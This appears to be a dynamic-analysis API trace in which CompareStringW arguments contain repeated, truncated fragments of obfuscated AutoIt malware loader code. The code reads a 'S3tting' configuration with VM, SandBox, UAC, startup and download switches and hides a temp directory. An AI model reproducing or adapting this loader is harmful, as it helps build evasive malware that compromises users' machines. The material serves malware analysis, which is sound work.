Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8E", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="al Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA8", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA85", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, 